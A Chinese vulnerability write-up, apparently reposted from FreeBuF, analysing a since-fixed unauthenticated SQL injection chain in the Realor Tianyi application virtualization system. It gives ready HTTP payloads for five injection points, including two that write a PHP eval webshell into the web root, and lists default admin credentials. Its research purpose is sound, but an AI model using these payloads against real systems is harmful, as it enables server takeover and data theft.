天天看點

記一次某應用虛拟化系統遠端代碼執行

作者:區塊軟體開發

漏洞簡介

微步線上漏洞團隊通過“X漏洞獎勵計劃”擷取到瑞友天翼應用虛拟化系統遠端代碼執行漏洞情報(0day),攻擊者可以通過該漏洞執行任意代碼,導緻系統被攻擊與控制。瑞友天翼應用虛拟化系統是基于伺服器計算架構的應用虛拟化平台,它将使用者各種應用軟體集中部署到瑞友天翼服務叢集,用戶端通過WEB即可通路經伺服器上授權的應用軟體,實作集中應用、遠端接入、協同辦公等。

漏洞是因為未授權接口在接收參數時沒有進行處理校驗,存在 SQL 注入漏洞,又因為內建環境中的 mysql 擁有寫入檔案的權限,是以寫入 webshell 最終導緻代碼執行。

影響版本

5.x <= 瑞友天翼應用虛拟化系統(GWT System) <= 7.0.2.

目前相關漏洞已修複。

環境搭建

從師傅處拷到的安裝包 Gwt7.0.2.1.exe 預設模式安裝,最後

記一次某應用虛拟化系統遠端代碼執行

記一次某應用虛拟化系統遠端代碼執行

線上注冊擷取試用 http://mop.realor.cn/TrialReg.aspx

記一次某應用虛拟化系統遠端代碼執行

注冊成功後

記一次某應用虛拟化系統遠端代碼執行

登入頁面 預設賬号密碼是 Admin/123​

記一次某應用虛拟化系統遠端代碼執行

預設路徑在 C:/Program Files (x86)/RealFriend/Rap Server/WebRoot​

記一次某應用虛拟化系統遠端代碼執行

預設資料庫配置位址 C:\Program Files (x86)\RealFriend\Rap Server\data\Config\CasDbCnn.dat​

記一次某應用虛拟化系統遠端代碼執行

賬号密碼需要将其中的 # 替換為 = 并進行 base64 解碼

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注“freebuf”擷取!】

① 網安學習成長路徑思維導圖

② 60+網安經典常用工具包

③ 100+SRC漏洞分析報告

④ 150+網安攻防實戰技術電子書

⑤ 最權威CISSP 認證考試指南+題庫

⑥ 超1800頁CTF實戰技巧手冊

⑦ 最新網安大廠面試題合集(含答案)

⑧ APP用戶端安全檢測指南(安卓+IOS)

漏洞複現與分析

通過 http://192.168.222.148/RAPAgent.XGI?CMD=GetRegInfo​ 檢視版本資訊

記一次某應用虛拟化系統遠端代碼執行

為了友善檢視後端實際執行的完整sql,我們可以使用架構提供的 getLastSql() 方法來 擷取最近一次執行的SQL語句

記一次某應用虛拟化系統遠端代碼執行

注入一IndexController.class.phpdologin

​webroot/casweb/Home/Controller/IndexController.class.php:dologin​

記一次某應用虛拟化系統遠端代碼執行

我們看到其中的 SQL 語句以及對該函數的請求路由

​http://www.casweb.cn.x/index.php?s=/Index/dologin/name/admin/pwd/c4ca4238a0b923820dcc509a6f75849b​

構造資料包 并列印出相對應的 sql 語句

記一次某應用虛拟化系統遠端代碼執行

因為預設沒有開啟驗證碼,是以可以直接到達 SQL 語句處

因為搭建環境時,使用了內建好的mysql 環境,擁有 DBA 的權限,是以可以在檔案夾任意位置寫入内容

show global variables like '%secure%';           

記一次某應用虛拟化系統遠端代碼執行

secure_file_priv='' #允許寫入到任何檔案夾

利用報錯資訊得到項目的絕對路徑

記一次某應用虛拟化系統遠端代碼執行

構造payload

POST /index.php?s=/Index/dologin/name HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 221
​
name=1')+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, '<?php eval($_REQUEST["cmd"]);?>' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/dologin.php'#           

記一次某應用虛拟化系統遠端代碼執行

​​

記一次某應用虛拟化系統遠端代碼執行

記一次某應用虛拟化系統遠端代碼執行

查詢管理者使用者的賬戶和密碼

記一次某應用虛拟化系統遠端代碼執行
記一次某應用虛拟化系統遠端代碼執行

注入二__ConsoleExternalUploadApi.XGI

​webroot/ConsoleExternalUploadApi.XGI​

記一次某應用虛拟化系統遠端代碼執行

擷取到三個參數,當三個參數都不為空時,調用 getfarminfo​ 來進行處理

​webroot/Function.XGI​

​​

記一次某應用虛拟化系統遠端代碼執行

​webroot/Common.XGI​

記一次某應用虛拟化系統遠端代碼執行

對 key 值沒有做任何校驗,是以可以構造 payload 實作注入

POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
​
initParams=1&sign=2&key=FarmName'and sleep(5)#           

修改了代碼 列印出了 SQL 指令

記一次某應用虛拟化系統遠端代碼執行

構造實作注入寫入檔案

POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 170
Content-Type: application/x-www-form-urlencoded
​
initParams=1&sign=1&key=1'union select '<?php eval($_REQUEST["cmd"]);?>' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/ConsoleExternalUploadApi.php'#           

記一次某應用虛拟化系統遠端代碼執行

記一次某應用虛拟化系統遠端代碼執行

記一次某應用虛拟化系統遠端代碼執行

注入三ConsoleExternalUploadApi.XGIuploadAuthorizeKeyFile

POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
​
initParams=command_uploadAuthorizeKeyFile__user_admin'and+sleep(5)#__pwd_1&key=inner&sign=d3adb9869bd6a377fa452930d920fd10           

記一次某應用虛拟化系統遠端代碼執行

注入四ConsoleExternalApi.XGIcreateUser

之後的漏洞大抵上都可以描述為同一個漏洞,隻是因為參數的不同,傳入到不同的位置,在這裡僅僅用一個來舉例,之後的不再詳細進行分析

我們從 ConsoleExternalApi.XGI 進行分析

記一次某應用虛拟化系統遠端代碼執行

通過 REQUEST 方法擷取到參數

記一次某應用虛拟化系統遠端代碼執行

通過接下來的這段代碼,我們可以得到如下結論,當 $key 的值為 inner​ 時,$keyVal 是一個固定值,$sign 的值是 md5($initparams . $keyVal);​ $initparams 中需要包含 __​ 來分割資料,得到每個參數

記一次某應用虛拟化系統遠端代碼執行

然後再通過 _​ 分割 得到每個參數所對應的值 也就是當傳入的值是 a_1__b_2 最後得到的也就是 a=1&b=2

繼續向下分析

記一次某應用虛拟化系統遠端代碼執行

當傳入的 cmd 的值是 createUser​ 時,進入相對應的分支,構造相對應的語句就可以實作注入。

POST /ConsoleExternalApi.XGI?initParams=command_createUser__user_admin__pwd_1&key=inner&sign=bd58378906794858b1f57eb272e5d84f HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46
Content-Type: application/json
​
{"account":"1'or sleep(5)#",
"userPwd":"1"}           

記一次某應用虛拟化系統遠端代碼執行

注入五 ConsoleExternalApi.XGIgetUserDetailByAccount

POST /ConsoleExternalApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
​
initParams=command_getUserDetailByAccount__user_admin__account_1' or sleep(5) and '1&key=inner&sign=e24b8206a168347821a2f10aede99058           

記一次某應用虛拟化系統遠端代碼執行
from https://www.freebuf.com/vuls/364828.html

繼續閱讀